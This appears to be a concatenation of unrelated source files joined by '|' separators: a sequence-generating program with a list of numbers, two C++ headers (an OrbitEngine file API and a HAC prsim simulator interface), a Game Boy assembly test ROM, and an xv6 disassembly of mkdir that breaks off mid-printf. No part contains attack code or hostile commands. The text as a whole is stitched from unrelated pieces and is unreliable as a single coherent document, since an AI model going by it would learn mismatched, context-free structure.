; 0,8,80,360,1088,2600,5328,9800,16640,26568,40400,59048,83520,114920,154448,203400,263168,335240,421200,522728,641600,779688,938960,1121480,1329408,1565000,1830608,2128680,2461760,2832488,3243600,3697928,4198400,4748040,5349968,6007400,6723648,7502120,8346320,9259848,10246400,11309768,12453840,13682600,15000128,16410600,17918288,19527560,21242880,23068808,25010000,27071208,29257280,31573160,34023888,36614600,39350528,42237000,45279440,48483368,51854400,55398248,59120720,63027720,67125248,71419400,75916368,80622440,85544000,90687528,96059600,101666888,107516160,113614280,119968208,126585000,133471808,140635880,148084560,155825288,163865600,172213128,180875600,189860840,199176768,208831400,218832848,229189320,239909120,251000648,262472400,274332968,286591040,299255400,312334928,325838600,339775488,354154760,368985680,384277608,400040000,416282408,433014480,450245960,467986688,486246600,505035728,524364200,544242240,564680168,585688400,607277448,629457920,652240520,675636048,699655400,724309568,749609640,775566800,802192328,829497600,857494088,886193360,915607080,945747008,976625000,1008253008,1040643080,1073807360,1107758088,1142507600,1178068328,1214452800,1251673640,1289743568,1328675400,1368482048,1409176520,1450771920,1493281448,1536718400,1581096168,1626428240,1672728200,1720009728,1768286600,1817572688,1867881960,1919228480,1971626408,2025090000,2079633608,2135271680,2192018760,2249889488,2308898600,2369060928,2430391400,2492905040,2556616968,2621542400,2687696648,2755095120,2823753320,2893686848,2964911400,3037442768,3111296840,3186489600,3263037128,3340955600,3420261288,3500970560,3583099880,3666665808,3751685000,3838174208,3926150280,4015630160,4106630888,4199169600,4293263528,4388930000,4486186440,4585050368,4685539400,4787671248,4891463720,4996934720,5104102248,5212984400,5323599368,5435965440,5550101000,5666024528,5783754600,5903309888,6024709160,6147971280,6273115208,6400160000,6529124808,6660028880,6792891560,6927732288,7064570600,7203426128,7344318600,7487267840,7632293768,7779416400,7928655848,8080032320,8233566120,8389277648,8547187400,8707315968,8869684040,9034312400,9201221928,9370433600,9541968488,9715847760,9892092680,10070724608,10251765000,10435235408,10621157480,10809552960,11000443688,11193851600,11389798728,11588307200,11789399240,11993097168,12199423400,12408400448,12620050920,12834397520,13051463048,13271270400,13493842568,13719202640,13947373800,14178379328,14412242600,14648987088,14888636360,15131214080,15376744008
pow $0,2
sub $1,$0
bin $1,2
mul $1,8
|
#ifndef SYSTEM_FILE_HPP
#define SYSTEM_FILE_HPP
#include <vector>
#include <string>
#include "OE/System/IOStream.hpp"
namespace OrbitEngine { namespace System {
class File {
public:
static IOStream* Open(const std::string& path, AccessMode accessMode = AccessMode::READ);
static void Close(IOStream* stream);
static bool Exists(std::string path);
static std::vector<char> Read(const std::string& path);
static std::string ReadAsString(const std::string& path);
private:
};
} }
#endif |
/**
\file "main/prsim.hh"
Interface header for prsim module.
$Id: prsim.hh,v 1.5 2010/08/30 23:51:49 fang Exp $
*/
#ifndef __HAC_MAIN_PRSIM_H__
#define __HAC_MAIN_PRSIM_H__
#include "main/hackt_fwd.hh"
#include "main/options_modifier.hh"
namespace HAC {
class prsim_options;
//=============================================================================
/**
Instance-less class.
Yes, most everything is private, not supposed to use this directly,
but rather, through program registration.
*/
class prsim : protected options_modifier_policy<prsim_options> {
private:
typedef options_modifier_policy<prsim_options>
options_modifier_policy_type;
public:
typedef prsim_options options;
typedef options_modifier_policy_type::register_options_modifier_base
register_options_modifier;
public:
static const char name[];
static const char brief_str[];
prsim();
static
int
main(const int, char*[], const global_options&);
public:
static
void
usage(void);
// so vpi-prsim.cc may use it
static
int
parse_command_options(const int, char* const [], options&);
private:
static
const size_t
program_id;
static const register_options_modifier
_default, _run, _no_run,
_dump_expr_alloc, _no_dump_expr_alloc,
_check_structure, _no_check_structure,
_dump_dot_struct, _no_dump_dot_struct,
_fold_literals, _no_fold_literals,
_denormalize_negations, _no_denormalize_negations,
_fast_weak_keepers, _no_weak_keepers,
_precharge_invariants, _no_precharge_invariants,
_dynamic_ground_supply, _no_dynamic_ground_supply,
_dynamic_power_supply, _no_dynamic_power_supply;
}; // end class prsim
//=============================================================================
} // end namespace HAC
#endif // __HAC_MAIN_PRSIM_H__
|
.size 8000
.text@48
jp lstatint
.text@100
jp lbegin
.data@143
c0
.text@150
lbegin:
ld a, 00
ldff(ff), a
ld a, 30
ldff(00), a
ld a, 01
ldff(4d), a
stop, 00
ld a, ff
ldff(45), a
ld b, 91
call lwaitly_b
ld hl, fe00
ld d, 10
ld a, d
ld(hl++), a
ld a, 08
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 09
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 0a
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 28
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 29
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 2a
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 48
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 49
ld(hl++), a
inc l
inc l
ld a, d
ld(hl++), a
ld a, 4a
ld(hl++), a
ld a, 40
ldff(41), a
ld a, 02
ldff(ff), a
xor a, a
ldff(0f), a
ei
ld a, 01
ldff(45), a
ld c, 41
ld a, 93
ldff(40), a
ld a, 06
ldff(43), a
.text@1000
lstatint:
nop
.text@1099
ldff a, (c)
and a, 03
jp lprint_a
.text@7000
lprint_a:
push af
ld b, 91
call lwaitly_b
xor a, a
ldff(40), a
pop af
ld(9800), a
ld bc, 7a00
ld hl, 8000
ld d, a0
lprint_copytiles:
ld a, (bc)
inc bc
ld(hl++), a
dec d
jrnz lprint_copytiles
ld a, c0
ldff(47), a
ld a, 80
ldff(68), a
ld a, ff
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
ldff(69), a
xor a, a
ldff(69), a
ldff(69), a
ldff(43), a
ld a, 91
ldff(40), a
lprint_limbo:
jr lprint_limbo
.text@7400
lwaitly_b:
ld c, 44
lwaitly_b_loop:
ldff a, (c)
cmp a, b
jrnz lwaitly_b_loop
ret
.data@7a00
00 00 7f 7f 41 41 41 41
41 41 41 41 41 41 7f 7f
00 00 08 08 08 08 08 08
08 08 08 08 08 08 08 08
00 00 7f 7f 01 01 01 01
7f 7f 40 40 40 40 7f 7f
00 00 7f 7f 01 01 01 01
3f 3f 01 01 01 01 7f 7f
00 00 41 41 41 41 41 41
7f 7f 01 01 01 01 01 01
00 00 7f 7f 40 40 40 40
7e 7e 01 01 01 01 7e 7e
00 00 7f 7f 40 40 40 40
7f 7f 41 41 41 41 7f 7f
00 00 7f 7f 01 01 02 02
04 04 08 08 10 10 10 10
00 00 3e 3e 41 41 41 41
3e 3e 41 41 41 41 3e 3e
00 00 7f 7f 41 41 41 41
7f 7f 01 01 01 01 7f 7f
|
_mkdir: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: bf 01 00 00 00 mov $0x1,%edi
16: 83 ec 08 sub $0x8,%esp
19: 8b 31 mov (%ecx),%esi
1b: 8b 59 04 mov 0x4(%ecx),%ebx
1e: 83 c3 04 add $0x4,%ebx
int i;
if(argc < 2){
21: 83 fe 01 cmp $0x1,%esi
24: 7e 3e jle 64 <main+0x64>
26: 8d 76 00 lea 0x0(%esi),%esi
29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
printf(2, "Usage: mkdir files...\n");
exit();
}
for(i = 1; i < argc; i++){
if(mkdir(argv[i]) < 0){
30: 83 ec 0c sub $0xc,%esp
33: ff 33 pushl (%ebx)
35: e8 00 03 00 00 call 33a <mkdir>
3a: 83 c4 10 add $0x10,%esp
3d: 85 c0 test %eax,%eax
3f: 78 0f js 50 <main+0x50>
for(i = 1; i < argc; i++){
41: 83 c7 01 add $0x1,%edi
44: 83 c3 04 add $0x4,%ebx
47: 39 fe cmp %edi,%esi
49: 75 e5 jne 30 <main+0x30>
printf(2, "mkdir: %s failed to create\n", argv[i]);
break;
}
}
exit();
4b: e8 82 02 00 00 call 2d2 <exit>
printf(2, "mkdir: %s failed to create\n", argv[i]);
50: 50 push %eax
51: ff 33 pushl (%ebx)
53: 68 9f 07 00 00 push $0x79f
58: 6a 02 push $0x2
5a: e8 d1 03 00 00 call 430 <printf>
break;
5f: 83 c4 10 add $0x10,%esp
62: eb e7 jmp 4b <main+0x4b>
printf(2, "Usage: mkdir files...\n");
64: 52 push %edx
65: 52 push %edx
66: 68 88 07 00 00 push $0x788
6b: 6a 02 push $0x2
6d: e8 be 03 00 00 call 430 <printf>
exit();
72: e8 5b 02 00 00 call 2d2 <exit>
77: 66 90 xchg %ax,%ax
79: 66 90 xchg %ax,%ax
7b: 66 90 xchg %ax,%ax
7d: 66 90 xchg %ax,%ax
7f: 90 nop
00000080 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
80: 55 push %ebp
81: 89 e5 mov %esp,%ebp
83: 53 push %ebx
84: 8b 45 08 mov 0x8(%ebp),%eax
87: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
8a: 89 c2 mov %eax,%edx
8c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
90: 83 c1 01 add $0x1,%ecx
93: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
97: 83 c2 01 add $0x1,%edx
9a: 84 db test %bl,%bl
9c: 88 5a ff mov %bl,-0x1(%edx)
9f: 75 ef jne 90 <strcpy+0x10>
;
return os;
}
a1: 5b pop %ebx
a2: 5d pop %ebp
a3: c3 ret
a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000b0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
b0: 55 push %ebp
b1: 89 e5 mov %esp,%ebp
b3: 53 push %ebx
b4: 8b 55 08 mov 0x8(%ebp),%edx
b7: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
ba: 0f b6 02 movzbl (%edx),%eax
bd: 0f b6 19 movzbl (%ecx),%ebx
c0: 84 c0 test %al,%al
c2: 75 1c jne e0 <strcmp+0x30>
c4: eb 2a jmp f0 <strcmp+0x40>
c6: 8d 76 00 lea 0x0(%esi),%esi
c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
d0: 83 c2 01 add $0x1,%edx
while(*p && *p == *q)
d3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
d6: 83 c1 01 add $0x1,%ecx
d9: 0f b6 19 movzbl (%ecx),%ebx
while(*p && *p == *q)
dc: 84 c0 test %al,%al
de: 74 10 je f0 <strcmp+0x40>
e0: 38 d8 cmp %bl,%al
e2: 74 ec je d0 <strcmp+0x20>
return (uchar)*p - (uchar)*q;
e4: 29 d8 sub %ebx,%eax
}
e6: 5b pop %ebx
e7: 5d pop %ebp
e8: c3 ret
e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
f0: 31 c0 xor %eax,%eax
return (uchar)*p - (uchar)*q;
f2: 29 d8 sub %ebx,%eax
}
f4: 5b pop %ebx
f5: 5d pop %ebp
f6: c3 ret
f7: 89 f6 mov %esi,%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <strlen>:
uint
strlen(const char *s)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
106: 80 39 00 cmpb $0x0,(%ecx)
109: 74 15 je 120 <strlen+0x20>
10b: 31 d2 xor %edx,%edx
10d: 8d 76 00 lea 0x0(%esi),%esi
110: 83 c2 01 add $0x1,%edx
113: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
117: 89 d0 mov %edx,%eax
119: 75 f5 jne 110 <strlen+0x10>
;
return n;
}
11b: 5d pop %ebp
11c: c3 ret
11d: 8d 76 00 lea 0x0(%esi),%esi
for(n = 0; s[n]; n++)
120: 31 c0 xor %eax,%eax
}
122: 5d pop %ebp
123: c3 ret
124: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
12a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
00000130 <memset>:
void*
memset(void *dst, int c, uint n)
{
130: 55 push %ebp
131: 89 e5 mov %esp,%ebp
133: 57 push %edi
134: 8b 55 08 mov 0x8(%ebp),%edx
}
static inline void
stosb(void *addr, int data, int cnt)
{
asm volatile("cld; rep stosb" :
137: 8b 4d 10 mov 0x10(%ebp),%ecx
13a: 8b 45 0c mov 0xc(%ebp),%eax
13d: 89 d7 mov %edx,%edi
13f: fc cld
140: f3 aa rep stos %al,%es:(%edi)
stosb(dst, c, n);
return dst;
}
142: 89 d0 mov %edx,%eax
144: 5f pop %edi
145: 5d pop %ebp
146: c3 ret
147: 89 f6 mov %esi,%esi
149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000150 <strchr>:
char*
strchr(const char *s, char c)
{
150: 55 push %ebp
151: 89 e5 mov %esp,%ebp
153: 53 push %ebx
154: 8b 45 08 mov 0x8(%ebp),%eax
157: 8b 5d 0c mov 0xc(%ebp),%ebx
for(; *s; s++)
15a: 0f b6 10 movzbl (%eax),%edx
15d: 84 d2 test %dl,%dl
15f: 74 1d je 17e <strchr+0x2e>
if(*s == c)
161: 38 d3 cmp %dl,%bl
163: 89 d9 mov %ebx,%ecx
165: 75 0d jne 174 <strchr+0x24>
167: eb 17 jmp 180 <strchr+0x30>
169: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
170: 38 ca cmp %cl,%dl
172: 74 0c je 180 <strchr+0x30>
for(; *s; s++)
174: 83 c0 01 add $0x1,%eax
177: 0f b6 10 movzbl (%eax),%edx
17a: 84 d2 test %dl,%dl
17c: 75 f2 jne 170 <strchr+0x20>
return (char*)s;
return 0;
17e: 31 c0 xor %eax,%eax
}
180: 5b pop %ebx
181: 5d pop %ebp
182: c3 ret
183: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000190 <gets>:
char*
gets(char *buf, int max)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
193: 57 push %edi
194: 56 push %esi
195: 53 push %ebx
int i, cc;
char c;
for(i=0; i+1 < max; ){
196: 31 f6 xor %esi,%esi
198: 89 f3 mov %esi,%ebx
{
19a: 83 ec 1c sub $0x1c,%esp
19d: 8b 7d 08 mov 0x8(%ebp),%edi
for(i=0; i+1 < max; ){
1a0: eb 2f jmp 1d1 <gets+0x41>
1a2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
cc = read(0, &c, 1);
1a8: 8d 45 e7 lea -0x19(%ebp),%eax
1ab: 83 ec 04 sub $0x4,%esp
1ae: 6a 01 push $0x1
1b0: 50 push %eax
1b1: 6a 00 push $0x0
1b3: e8 32 01 00 00 call 2ea <read>
if(cc < 1)
1b8: 83 c4 10 add $0x10,%esp
1bb: 85 c0 test %eax,%eax
1bd: 7e 1c jle 1db <gets+0x4b>
break;
buf[i++] = c;
1bf: 0f b6 45 e7 movzbl -0x19(%ebp),%eax
1c3: 83 c7 01 add $0x1,%edi
1c6: 88 47 ff mov %al,-0x1(%edi)
if(c == '\n' || c == '\r')
1c9: 3c 0a cmp $0xa,%al
1cb: 74 23 je 1f0 <gets+0x60>
1cd: 3c 0d cmp $0xd,%al
1cf: 74 1f je 1f0 <gets+0x60>
for(i=0; i+1 < max; ){
1d1: 83 c3 01 add $0x1,%ebx
1d4: 3b 5d 0c cmp 0xc(%ebp),%ebx
1d7: 89 fe mov %edi,%esi
1d9: 7c cd jl 1a8 <gets+0x18>
1db: 89 f3 mov %esi,%ebx
break;
}
buf[i] = '\0';
return buf;
}
1dd: 8b 45 08 mov 0x8(%ebp),%eax
buf[i] = '\0';
1e0: c6 03 00 movb $0x0,(%ebx)
}
1e3: 8d 65 f4 lea -0xc(%ebp),%esp
1e6: 5b pop %ebx
1e7: 5e pop %esi
1e8: 5f pop %edi
1e9: 5d pop %ebp
1ea: c3 ret
1eb: 90 nop
1ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
1f0: 8b 75 08 mov 0x8(%ebp),%esi
1f3: 8b 45 08 mov 0x8(%ebp),%eax
1f6: 01 de add %ebx,%esi
1f8: 89 f3 mov %esi,%ebx
buf[i] = '\0';
1fa: c6 03 00 movb $0x0,(%ebx)
}
1fd: 8d 65 f4 lea -0xc(%ebp),%esp
200: 5b pop %ebx
201: 5e pop %esi
202: 5f pop %edi
203: 5d pop %ebp
204: c3 ret
205: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000210 <stat>:
int
stat(const char *n, struct stat *st)
{
210: 55 push %ebp
211: 89 e5 mov %esp,%ebp
213: 56 push %esi
214: 53 push %ebx
int fd;
int r;
fd = open(n, O_RDONLY);
215: 83 ec 08 sub $0x8,%esp
218: 6a 00 push $0x0
21a: ff 75 08 pushl 0x8(%ebp)
21d: e8 f0 00 00 00 call 312 <open>
if(fd < 0)
222: 83 c4 10 add $0x10,%esp
225: 85 c0 test %eax,%eax
227: 78 27 js 250 <stat+0x40>
return -1;
r = fstat(fd, st);
229: 83 ec 08 sub $0x8,%esp
22c: ff 75 0c pushl 0xc(%ebp)
22f: 89 c3 mov %eax,%ebx
231: 50 push %eax
232: e8 f3 00 00 00 call 32a <fstat>
close(fd);
237: 89 1c 24 mov %ebx,(%esp)
r = fstat(fd, st);
23a: 89 c6 mov %eax,%esi
close(fd);
23c: e8 b9 00 00 00 call 2fa <close>
return r;
241: 83 c4 10 add $0x10,%esp
}
244: 8d 65 f8 lea -0x8(%ebp),%esp
247: 89 f0 mov %esi,%eax
249: 5b pop %ebx
24a: 5e pop %esi
24b: 5d pop %ebp
24c: c3 ret
24d: 8d 76 00 lea 0x0(%esi),%esi
return -1;
250: be ff ff ff ff mov $0xffffffff,%esi
255: eb ed jmp 244 <stat+0x34>
257: 89 f6 mov %esi,%esi
259: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000260 <atoi>:
int
atoi(const char *s)
{
260: 55 push %ebp
261: 89 e5 mov %esp,%ebp
263: 53 push %ebx
264: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
n = 0;
while('0' <= *s && *s <= '9')
267: 0f be 11 movsbl (%ecx),%edx
26a: 8d 42 d0 lea -0x30(%edx),%eax
26d: 3c 09 cmp $0x9,%al
n = 0;
26f: b8 00 00 00 00 mov $0x0,%eax
while('0' <= *s && *s <= '9')
274: 77 1f ja 295 <atoi+0x35>
276: 8d 76 00 lea 0x0(%esi),%esi
279: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
n = n*10 + *s++ - '0';
280: 8d 04 80 lea (%eax,%eax,4),%eax
283: 83 c1 01 add $0x1,%ecx
286: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax
while('0' <= *s && *s <= '9')
28a: 0f be 11 movsbl (%ecx),%edx
28d: 8d 5a d0 lea -0x30(%edx),%ebx
290: 80 fb 09 cmp $0x9,%bl
293: 76 eb jbe 280 <atoi+0x20>
return n;
}
295: 5b pop %ebx
296: 5d pop %ebp
297: c3 ret
298: 90 nop
299: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
000002a0 <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
2a0: 55 push %ebp
2a1: 89 e5 mov %esp,%ebp
2a3: 56 push %esi
2a4: 53 push %ebx
2a5: 8b 5d 10 mov 0x10(%ebp),%ebx
2a8: 8b 45 08 mov 0x8(%ebp),%eax
2ab: 8b 75 0c mov 0xc(%ebp),%esi
char *dst;
const char *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2ae: 85 db test %ebx,%ebx
2b0: 7e 14 jle 2c6 <memmove+0x26>
2b2: 31 d2 xor %edx,%edx
2b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*dst++ = *src++;
2b8: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
2bc: 88 0c 10 mov %cl,(%eax,%edx,1)
2bf: 83 c2 01 add $0x1,%edx
while(n-- > 0)
2c2: 39 d3 cmp %edx,%ebx
2c4: 75 f2 jne 2b8 <memmove+0x18>
return vdst;
}
2c6: 5b pop %ebx
2c7: 5e pop %esi
2c8: 5d pop %ebp
2c9: c3 ret
000002ca <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2ca: b8 01 00 00 00 mov $0x1,%eax
2cf: cd 40 int $0x40
2d1: c3 ret
000002d2 <exit>:
SYSCALL(exit)
2d2: b8 02 00 00 00 mov $0x2,%eax
2d7: cd 40 int $0x40
2d9: c3 ret
000002da <wait>:
SYSCALL(wait)
2da: b8 03 00 00 00 mov $0x3,%eax
2df: cd 40 int $0x40
2e1: c3 ret
000002e2 <pipe>:
SYSCALL(pipe)
2e2: b8 04 00 00 00 mov $0x4,%eax
2e7: cd 40 int $0x40
2e9: c3 ret
000002ea <read>:
SYSCALL(read)
2ea: b8 05 00 00 00 mov $0x5,%eax
2ef: cd 40 int $0x40
2f1: c3 ret
000002f2 <write>:
SYSCALL(write)
2f2: b8 10 00 00 00 mov $0x10,%eax
2f7: cd 40 int $0x40
2f9: c3 ret
000002fa <close>:
SYSCALL(close)
2fa: b8 15 00 00 00 mov $0x15,%eax
2ff: cd 40 int $0x40
301: c3 ret
00000302 <kill>:
SYSCALL(kill)
302: b8 06 00 00 00 mov $0x6,%eax
307: cd 40 int $0x40
309: c3 ret
0000030a <exec>:
SYSCALL(exec)
30a: b8 07 00 00 00 mov $0x7,%eax
30f: cd 40 int $0x40
311: c3 ret
00000312 <open>:
SYSCALL(open)
312: b8 0f 00 00 00 mov $0xf,%eax
317: cd 40 int $0x40
319: c3 ret
0000031a <mknod>:
SYSCALL(mknod)
31a: b8 11 00 00 00 mov $0x11,%eax
31f: cd 40 int $0x40
321: c3 ret
00000322 <unlink>:
SYSCALL(unlink)
322: b8 12 00 00 00 mov $0x12,%eax
327: cd 40 int $0x40
329: c3 ret
0000032a <fstat>:
SYSCALL(fstat)
32a: b8 08 00 00 00 mov $0x8,%eax
32f: cd 40 int $0x40
331: c3 ret
00000332 <link>:
SYSCALL(link)
332: b8 13 00 00 00 mov $0x13,%eax
337: cd 40 int $0x40
339: c3 ret
0000033a <mkdir>:
SYSCALL(mkdir)
33a: b8 14 00 00 00 mov $0x14,%eax
33f: cd 40 int $0x40
341: c3 ret
00000342 <chdir>:
SYSCALL(chdir)
342: b8 09 00 00 00 mov $0x9,%eax
347: cd 40 int $0x40
349: c3 ret
0000034a <dup>:
SYSCALL(dup)
34a: b8 0a 00 00 00 mov $0xa,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <getpid>:
SYSCALL(getpid)
352: b8 0b 00 00 00 mov $0xb,%eax
357: cd 40 int $0x40
359: c3 ret
0000035a <sbrk>:
SYSCALL(sbrk)
35a: b8 0c 00 00 00 mov $0xc,%eax
35f: cd 40 int $0x40
361: c3 ret
00000362 <sleep>:
SYSCALL(sleep)
362: b8 0d 00 00 00 mov $0xd,%eax
367: cd 40 int $0x40
369: c3 ret
0000036a <uptime>:
SYSCALL(uptime)
36a: b8 0e 00 00 00 mov $0xe,%eax
36f: cd 40 int $0x40
371: c3 ret
00000372 <info>:
SYSCALL(info)
372: b8 16 00 00 00 mov $0x16,%eax
377: cd 40 int $0x40
379: c3 ret
0000037a <settickets>:
SYSCALL(settickets)
37a: b8 17 00 00 00 mov $0x17,%eax
37f: cd 40 int $0x40
381: c3 ret
382: 66 90 xchg %ax,%ax
384: 66 90 xchg %ax,%ax
386: 66 90 xchg %ax,%ax
388: 66 90 xchg %ax,%ax
38a: 66 90 xchg %ax,%ax
38c: 66 90 xchg %ax,%ax
38e: 66 90 xchg %ax,%ax
00000390 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
390: 55 push %ebp
391: 89 e5 mov %esp,%ebp
393: 57 push %edi
394: 56 push %esi
395: 53 push %ebx
396: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
399: 85 d2 test %edx,%edx
{
39b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
39e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
3a0: 79 76 jns 418 <printint+0x88>
3a2: f6 45 08 01 testb $0x1,0x8(%ebp)
3a6: 74 70 je 418 <printint+0x88>
x = -xx;
3a8: f7 d8 neg %eax
neg = 1;
3aa: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
3b1: 31 f6 xor %esi,%esi
3b3: 8d 5d d7 lea -0x29(%ebp),%ebx
3b6: eb 0a jmp 3c2 <printint+0x32>
3b8: 90 nop
3b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
3c0: 89 fe mov %edi,%esi
3c2: 31 d2 xor %edx,%edx
3c4: 8d 7e 01 lea 0x1(%esi),%edi
3c7: f7 f1 div %ecx
3c9: 0f b6 92 c4 07 00 00 movzbl 0x7c4(%edx),%edx
}while((x /= base) != 0);
3d0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3d2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3d5: 75 e9 jne 3c0 <printint+0x30>
if(neg)
3d7: 8b 45 c4 mov -0x3c(%ebp),%eax
3da: 85 c0 test %eax,%eax
3dc: 74 08 je 3e6 <printint+0x56>
buf[i++] = '-';
3de: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3e3: 8d 7e 02 lea 0x2(%esi),%edi
3e6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ea: 8b 7d c0 mov -0x40(%ebp),%edi
3ed: 8d 76 00 lea 0x0(%esi),%esi
3f0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3f3: 83 ec 04 sub $0x4,%esp
3f6: 83 ee 01 sub $0x1,%esi
3f9: 6a 01 push $0x1
3fb: 53 push %ebx
3fc: 57 push %edi
3fd: 88 45 d7 mov %al,-0x29(%ebp)
400: e8 ed fe ff ff call 2f2 <write>
while(--i >= 0)
405: 83 c4 10 add $0x10,%esp
408: 39 de cmp %ebx,%esi
40a: 75 e4 jne 3f0 <printint+0x60>
putc(fd, buf[i]);
}
40c: 8d 65 f4 lea -0xc(%ebp),%esp
40f: 5b pop %ebx
410: 5e pop %esi
411: 5f pop %edi
412: 5d pop %ebp
413: c3 ret
414: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
418: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
41f: eb 90 jmp 3b1 <printint+0x21>
421: eb 0d jmp 430 <printf>
423: 90 nop
424: 90 nop
425: 90 nop
426: 90 nop
427: 90 nop
428: 90 nop
429: 90 nop
42a: 90 nop
42b: 90 nop
42c: 90 nop
42d: 90 nop
42e: 90 nop
42f: 90 nop
00000430 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
430: 55 push %ebp
431: 89 e5 mov %esp,%ebp
433: 57 push %edi
434: 56 push %esi
435: 53 push %ebx
436: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
439: 8b 75 0c mov 0xc(%ebp),%esi
43c: 0f b6 1e movzbl (%esi),%ebx
43f: 84 db test %bl,%bl
441: 0f 84 b3 00 00 00 je 4fa <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
447: 8d 45 10 lea 0x10(%ebp),%eax
44a: 83 c6 01 add $0x1,%esi
state = 0;
44d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
44f: 89 45 d4 mov %eax,-0x2c(%ebp)
452: eb 2f jmp 483 <printf+0x53>
454: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
458: 83 f8 25 cmp $0x25,%eax
45b: 0f 84 a7 00 00 00 je 508 <printf+0xd8>
write(fd, &c, 1);
461: 8d 45 e2 lea -0x1e(%ebp),%eax
464: 83 ec 04 sub $0x4,%esp
467: 88 5d e2 mov %bl,-0x1e(%ebp)
46a: 6a 01 push $0x1
46c: 50 push %eax
46d: ff 75 08 pushl 0x8(%ebp)
470: e8 7d fe ff ff call 2f2 <write>
475: 83 c4 10 add $0x10,%esp
478: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
47b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
47f: 84 db test %bl,%bl
481: 74 77 je 4fa <printf+0xca>
if(state == 0){
483: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
485: 0f be cb movsbl %bl,%ecx
488: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
48b: 74 cb je 458 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
48d: 83 ff 25 cmp $0x25,%edi
490: 75 e6 jne 478 <printf+0x48>
if(c == 'd'){
492: 83 f8 64 cmp $0x64,%eax
